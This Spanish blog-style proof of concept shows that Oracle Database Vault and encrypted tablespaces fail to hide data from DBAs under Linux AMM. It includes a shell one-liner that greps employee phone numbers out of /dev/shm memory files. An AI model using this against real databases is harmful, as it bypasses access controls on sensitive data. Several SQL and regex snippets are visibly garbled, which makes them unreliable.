ASO y Oracle Database Vault (Prueba de concepto)

Hasta ahora hemos intentado cubrir ataques externos que vulneren la confidencialidad de nuestros datos, por eso ciframos los datos almacenados, mediante ka tecnología TDE de Oracle, pero la amenaza interna es la mas peligrosa y los DBAs, se han convertido por, culpa de algunos ejemplos de mala praxis, en fuente de inseguridad. Las regulaciones como Sarbanes-Oxley (SOX), la Ley de Portabilidad y Responsabilidad de Seguros de Salud (HIPAA), Basilea II y PCI-DSS tienen temas comunes que incluyen controles internos, separación de tareas y estrictos controles de acceso a la información sensible. 

Un buen CISO, que los hay, recomendaría usar políticas severas de auditorias a los superusuarios, como sysdba y sysadmin y para evitar a priori cualquier tentación recomendaría usar Oracle Database Vault, este producto brinda controles de seguridad flexible, transparente y altamente adaptable sin realizar cambios en la aplicación.

Pero Oracle Database Vault y la opción TDE de cifrado de tablespaces no son suficientes para ocultar datos de los administradores base de datos. Vamos a demostrarlo.

Descripción del entorno de laboratorio

• OS Oracle Linux Server release 6.3
• Database Oracle Database 11.2.0.4 EE with Database Vault and Transparent Data  Encryption

Detalles de la prueba de concepto

Queremos demostrar que ODV and TDE for tablespaces puede no ser suficiente para proteger los datos sensibles del “todopoderoso” sysdba. En este pequeño experimento hemos usado el esquema de ejemplo HR y su tabla EMPLOYEES para ilustrar esta incidencia en la seguridad de nuestros datos.

Vamos a suponer que mis datos sensibles son, por ejemplo, los números de teléfono de los empleados. He creado un ámbito (realm) que protege esquema HR conjunto, por lo que SYSDBA no tiene acceso a ella.

SQL> select user from dual; USER ----------- SYS SQL> select count(1) from hr.jobs; From hr.jobs            * ERROR at line 2; ORA-01031: insufficient privileges

La base de datos que estamos usando se ha habilitado el AMM (Gestión automática de la memoria de la SGA de la base de datos)

SQL> show parameters memory_target; NAME                                TYPE                    VALUE -------------------------           -------------              ----------------- Memory_target                 big integer             1520M SQL>

La tabla Employees esta en un tablespace cifrado, así que acceder al datafile no es posible.

SQL> select table_name, t.tablespace_name, ts.encrypted from DBA_TABLES, t, 2  DBA_TABLESPACES ts where t.tablespace_name=ts.tablespace_name and t.owner=’HR’ and 3   t.table_name=’EMPLOYEES’; TABLE_NAME                                   TABLESPACE_NAME                              ENC --------------------------                           ---------------------------------                          --------- EMPLOYEES                                     EMPLOYEES_AES128                            YES

Cuando estoy usando AMM en Linux, la memoria está representada por los archivos en  /dev/shm, que se puede comprobar mediante los comandos ipcs y lsof.

• lsof (Lista de archivos abiertos, en español) es una conocida herramienta de monitorización de sistemas operativos tipo Unix que se utiliza para mostrar todos los archivos de disco que mantienen abiertos los procesos, incluyendo los sockets de red abiertos, tuberías, entre otros tipos.
• ipcs: proporciona información sobre los recursos ipc para los cuales el proceso de llamada tiene derechos de lectura

Ahora un usuario conectado como HR hace una consulta sobre EMPLOYEES:

SQL> select user from dual; USER ------------- HR SQL> select phone_number from hr.jobs; PHONE_NUMBER ---------------------------- 650.507.9833 650.507.9844 515.123.4444 515.123.5555 . . .

Después de esta consulta que deberíamos tener los bloques del segmento EMPLOYEES copiados en el búfer cache. Ahora vamos a ver qué podemos hacer con él a nivel de sistema operativo sin ningún privilegio especial...

[oracle@dbaFhell]$ cd /dev/shm/ [oracle@dbaFhell]$ strings ora_orcl_* | egrep …^ {[0-9] {3}\.[0-9] {3}\.}\.[0-9] {4}$” | sort | uniq | tail -10 650.507.9833 650.507.9844 515.123.4444 515.123.5555

Conclusión

Cuando la base de datos Oracle está utilizando AMM en Linux (parámetro MEMORY_TARGET) Oracle Database Vault y TDE no es suficiente para mantener los datos confidenciales ocultos de administrador de base de datos

Si ellos saben lo que están buscando... y lo saben, ¿verdad?